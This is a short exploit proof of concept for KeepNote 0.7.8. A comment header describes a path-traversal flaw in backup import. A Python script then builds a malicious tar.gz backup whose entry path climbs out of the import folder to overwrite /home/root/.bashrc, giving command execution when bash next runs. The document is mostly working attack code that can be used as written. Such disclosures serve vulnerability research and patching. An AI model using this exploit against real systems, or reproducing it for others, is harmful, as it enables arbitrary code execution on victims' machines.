# Title : KeepNote 0.7.8 Remote Command Execution # Date : 29/09/2016 # Author : R-73eN # Twitter : https://twitter.com/r_73en # Tested on : KeepNote 0.7.8 (Kali Linux , and Windows 7) # Software : http://keepnote.org/index.shtml#download # Vendor : ~ # # DESCRIPTION: # # When the KeepNote imports a backup which is actuallt a tar.gz file doesn't checks for " ../ " characters # which makes it possible to do a path traversal and write anywhere in the system(where the user has writing permissions). # This simple POC will write to the /home/root/.bashrc the file test.txt to get command execution when the bash is run. # There are a lot of ways but i choose this just for demostration purposes and its supposed we run the keepnote application # as root (default in kali linux which this bug is tested). # # banner = "" banner +=" ___ __ ____ _ _ \n" banner +=" |_ _|_ __ / _| ___ / ___| ___ _ __ / \ | | \n" banner +=" | || '_ \| |_ / _ \| | _ / _ \ '_ \ / _ \ | | \n" banner +=" | || | | | _| (_) | |_| | __/ | | | / ___ \| |___ \n" banner +=" |___|_| |_|_| \___/ \____|\___|_| |_| /_/ \_\_____|\n\n" print banner import tarfile, sys if(len(sys.argv) != 2): print "[+] Usage : python exploit.py file_to_do_the_traversal [+]" print "[+] Example: python exploit.py test.txt" exit(0) print "[+] Creating Exploit File [+]" filename = "KeepNoteBackup.tar.gz" path = "../../../../../../../home/root/.bashrc" tf = tarfile.open(filename,"w:gz") tf.add(sys.argv[1], path) tf.close() print "[+] Created KeepNoteBackup.tar.gz successfully [+]"
